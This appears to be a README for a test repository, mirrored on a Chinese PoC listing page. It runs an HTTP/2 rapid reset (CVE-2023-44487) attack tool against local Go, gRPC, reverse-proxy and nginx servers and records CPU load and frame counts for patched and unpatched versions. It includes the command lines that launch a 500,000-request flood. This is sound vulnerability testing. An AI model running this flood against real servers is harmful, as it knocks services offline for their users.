CVE-2023-44487 PoC — Apache HTTP/2 资源管理错误漏洞

介绍

# Golang CVE-2023-44487 testing

This repository contains testing resources and results for the CVE-2023-44487.
It uses a modified version of https://github.com/secengjeff/rapidresetclient to test against various Golang server configs.

## Testing against a normal server

```bash
go run server.go
go run attacker.go -requests 500000
```

### Results

**go 1.21.0**
```text
350% CPU load

--- Summary ---
Frames sent: HEADERS = 500000, RST_STREAM = 500000
Total time: 7.99 seconds (62562 rps)
```

**go 1.21.3**
```text
75% CPU load (just for a short time at the begin of the attack)

--- Summary ---
Frames sent: HEADERS = 74767, RST_STREAM = 74767
Total time: 3.57 seconds (20921 rps)

starts to fail pretty fast with
62->[::1]:8443: write: connection reset by peer[999995] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999997] Failed to send HEADERS: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999997] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999999] Failed to send HEADERS: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999999] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[1000001] Failed to send HEADERS: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[1000001] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer
```

## Testing against a GRPC server

```bash
go run grpcserver.go
go run attacker.go -requests 500000
```

### Results

**go 1.21.0, golang.org/x/net v0.16.0, google.golang.org/grpc v1.58.0**
```text
150-200% CPU load

--- Summary ---
Frames sent: HEADERS = 500000, RST_STREAM = 500000
Frames received: 499998
Total time: 10.23 seconds (48898 rps)
```

**go 1.21.3, golang.org/x/net v0.17.0, google.golang.org/grpc v1.59.0**
```text
150-200% CPU load

--- Summary ---
Frames sent: HEADERS = 500000, RST_STREAM = 500000
Frames received: 499993
Total time: 8.25 seconds (60639 rps)
```

> The attacker does not really call GRPC endpoints, so there seems to be no difference in behaviour with "normal" http2 calls.
> Not super sure if this is good or bad, but the server manages to keep up with the traffic.


## Testing against a httputil.ReverseProxy server

```bash
# use nginx as target
sudo nginx -c $PWD/nginx/vulnerable_8444.conf -g daemon\ off\;
go run revproxyserver.go
go run attacker.go -requests 500000
```

### Results

**go 1.21.0**
```text
200% CPU load during the full attack

--- Summary ---
Frames sent: HEADERS = 500000, RST_STREAM = 500000
Frames received: 25
Total time: 9.43 seconds (53014 rps)
```

**go 1.21.3**
```text
150% CPU load (just for a short time at the begin of the attack)

--- Summary ---
Frames sent: HEADERS = 100194, RST_STREAM = 100193
Total time: 4.36 seconds (22955 rps)

starts to fail pretty fast with
62->[::1]:8443: write: connection reset by peer[999995] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999997] Failed to send HEADERS: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999997] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999999] Failed to send HEADERS: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[999999] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[1000001] Failed to send HEADERS: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer[1000001] Failed to send RST_STREAM: write tcp [::1]:60762->[::1]:8443: write: connection reset by peer

Server log now contains 😎
2023/10/25 14:45:54 http2: server connection error from [::1]:60762: connection error: ENHANCE_YOUR_CALM
```

## Testing against nginx

```bash
sudo nginx -c $PWD/nginx/vulnerable.conf -g daemon\ off\;
go run attacker.go -requests 500000
```

### Results

**With vulnerable config**

```text
100% CPU load

--- Summary ---
Frames sent: HEADERS = 500000, RST_STREAM = 500000
Frames received: 478609
Total time: 8.13 seconds (61484 rps)
```

**With default config**
```text
34% CPU load

--- Summary ---
Frames sent: HEADERS = 500000, RST_STREAM = 500000
Frames received: 1432
Total time: 7.62 seconds (65588 rps)
```

> Nginx just stops to respond to a lot of frames

文件快照

备注